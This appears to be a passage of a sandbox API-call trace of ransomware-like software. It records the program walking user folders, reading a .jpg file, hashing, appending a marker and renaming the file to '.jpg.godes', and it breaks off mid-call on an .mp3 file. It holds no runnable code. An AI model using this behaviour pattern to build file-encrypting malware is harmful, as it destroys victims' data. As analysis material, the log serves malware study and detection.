hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0113.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.653] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.653] PathFindFileNameW (pszPath="") returned="" [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0113.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba3f0 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0113.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0113.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x54) returned 0x3294720 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f6d8 [0113.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.653] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0113.654] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.654] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.654] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.654] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.654] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\") returned="k 8cyI7PkJoZDNg M\\" [0113.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0113.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.654] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.654] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.654] PathFindFileNameW (pszPath="") returned="" [0113.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe659880, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0x3711f7e0, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x3711f7e0, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0x90cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1i2rrq2gY8nQI1n1s3.jpg", cAlternateFileName="1I2RRQ~1.JPG")) returned 1 [0113.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\1i2rrq2gY8nQI1n1s3.jpg") returned=".jpg" [0113.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\1i2rrq2gY8nQI1n1s3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\1i2rrq2gy8nqi1n1s3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.655] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=37068) returned 1 [0113.656] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.657] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x90a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.657] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.659] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.659] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x90cc, lpOverlapped=0x0) returned 1 [0113.660] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.660] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.660] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.660] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.660] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.660] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.660] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.661] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.661] GetLastError () returned 0x0 [0113.661] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.661] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.661] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x90cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.661] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.661] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.661] CloseHandle (hObject=0x624) returned 1 [0113.662] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\1i2rrq2gY8nQI1n1s3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\1i2rrq2gy8nqi1n1s3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\1i2rrq2gY8nQI1n1s3.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\1i2rrq2gy8nqi1n1s3.jpg.godes")) returned 1 [0113.662] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.663] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.663] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.663] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b8480, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x1edd6940, ftLastAccessTime.dwHighDateTime=0x1d4ca23, ftLastWriteTime.dwLowDateTime=0x1edd6940, ftLastWriteTime.dwHighDateTime=0x1d4ca23, nFileSizeHigh=0x0, nFileSizeLow=0x9833, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2i1vmdTQBze3Oqp_rHR.mp3", cAlternateFileName="2I1VMD~1.MP3")) returned 1 [0113.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.664] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.664] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\2i1vmdTQBze3Oqp_rHR.mp3") returned=".mp3" [0113.664] CreateFileW 